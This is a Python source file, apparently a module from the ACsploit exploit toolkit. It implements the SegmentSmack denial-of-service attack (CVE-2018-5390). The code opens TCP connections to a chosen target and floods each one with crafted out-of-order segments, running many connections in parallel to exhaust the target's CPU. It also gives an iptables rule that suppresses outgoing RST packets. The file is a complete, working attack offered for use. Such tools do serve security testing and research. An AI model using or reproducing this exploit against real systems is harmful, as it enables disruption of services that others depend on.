import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import multiprocessing
import netifaces
import ctypes
import os
from acsploit.options import Options
import time

try:
    default_interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
except Exception:
    default_interface = None

try:
    is_admin = os.getuid() == 0
except AttributeError:
    is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0

options = Options()
options.add_option('target_ip', None, 'Target IP address')
options.add_option('target_port', 443, 'Target port')
options.add_option('interface', default_interface, 'The local interface the attack should be sent on')
options.add_option('simultaneous_connections', multiprocessing.cpu_count(),
                   'The number of simultaneous connections to maintain during the attack')
options.add_option('time', 60, 'Number of seconds to perform the attack')
options.add_option('payload_size', 10000, 'Size of a single attack payload, repeatedly sent')
options.add_option('initial_fragmented_segments', 3000, 'Number of segments to send that are initially fragmented')
options.add_option('response_timeout', 1, 'Time in seconds to wait for TCP handshake response from target')

DESCRIPTION = 'Performs SegmentSmack (CVE-2018-5390) against a specified target IP address and port.\n' \
              '  Sends TCP packets in a specifically crafted order as to cause CPU intensive collapse operations.\n' \
              '  Note since TCP packets are being sent from ACsploit your firewall rules may need to be changed.\n' \
              '  For example on Ubuntu the following must be run:\n' \
              '      iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP\n' \
              '      iptables -L\n\n' \
              '  Additionally, ACsploit must be run as root/administrator'

NO_INPUT = True
NO_OUTPUT = True

class SegmentSmack:

    def __init__(self, iface, ip, port, timeout):
        self.seq = 0
        self.seq_next = 0
        self.dport = port
        self.iface = iface
        self.sport = random.randrange(0,2**16)
        self.tcp_packet = IP(dst=ip) / TCP(sport=self.sport, dport=self.dport, flags=0, seq=random.randrange(0,2**32))
        self.timeout = timeout

    def start(self):
        # Send SYNC
        self.tcp_packet[TCP].flags = "S"
        self.seq_next = self.tcp_packet[TCP].seq + 1
        send(self.tcp_packet)
        response = sniff(filter="dst port %s" % self.sport, count=1, timeout=self.timeout)
        response = response[0] if response else None
        self.tcp_packet[TCP].seq += 1

        # Ensure we got a SYN+ACK back
        if (response is None or not response.haslayer(IP) or not response.haslayer(TCP)
            or response[TCP].flags & 0x3f != 0x12): # 0x12 == SYN+ACK
            return False

        # Send ACK
        self.tcp_packet[TCP].ack = response[TCP].seq+1
        self.tcp_packet[TCP].flags = "A"
        self.seq_next = self.tcp_packet[TCP].seq
        send(self.tcp_packet)

        return True

    def create_packet(self, sequence_number):
        packet = self.tcp_packet / "A"
        packet[TCP].flags = "PA"
        packet[TCP].seq = self.start_sequence + sequence_number
        return packet

    def send_malicious_packets(self, count, initial_fragmented_segments):

        # Count needs to be odd to make the loops work
        if count % 2 == 0:
            count += 1

        self.tcp_packet[TCP].flags = "PA"
        self.start_sequence = self.tcp_packet[TCP].seq

        to_send = []
        original_count = initial_fragmented_segments

        for i in range(0, count + 1, 2):
            to_send.append(i)

        i = 1
        while i + original_count < count:
            to_send.append(i)
            to_send.append(original_count + 1 + i)
            i = i + 2

        while i < count:
            to_send.append(i)
            i = i + 2

        # Open a socket and use send on the socket instead of regular send as
        # the regular send repeatedly opens and closes a socket
        s = conf.L3socket(iface=self.iface)
        try:
            for x in to_send:
                s.send(self.create_packet(x))
        finally:
            s.close()

def subprocess_main(interface, target_ip, target_port, response_timeout, payload_size, initial_fragmented_segments):
    while True:
        conf.verb = 0
        segment_smack = SegmentSmack(interface, target_ip, target_port, response_timeout)
        if segment_smack.start():
            segment_smack.send_malicious_packets(payload_size, initial_fragmented_segments)

def run():
    if not is_admin:
        raise PermissionError('Must run as root/admin in order to run SegmentSmack')
    if options['payload_size'] < options['initial_fragmented_segments']:
        raise ValueError('Payload size must be larger or equal to initial fragmented segments')

    jobs = []
    try:
        for i in range(options['simultaneous_connections']):
            p = multiprocessing.Process(target=subprocess_main,
                                        args=(options['interface'], options['target_ip'],
                                              options['target_port'], options['response_timeout'],
                                              options['payload_size'], options['initial_fragmented_segments']))
            jobs.append(p)
            p.start()

        time.sleep(options['time'])

    finally:
        for p in jobs:
            p.terminate()
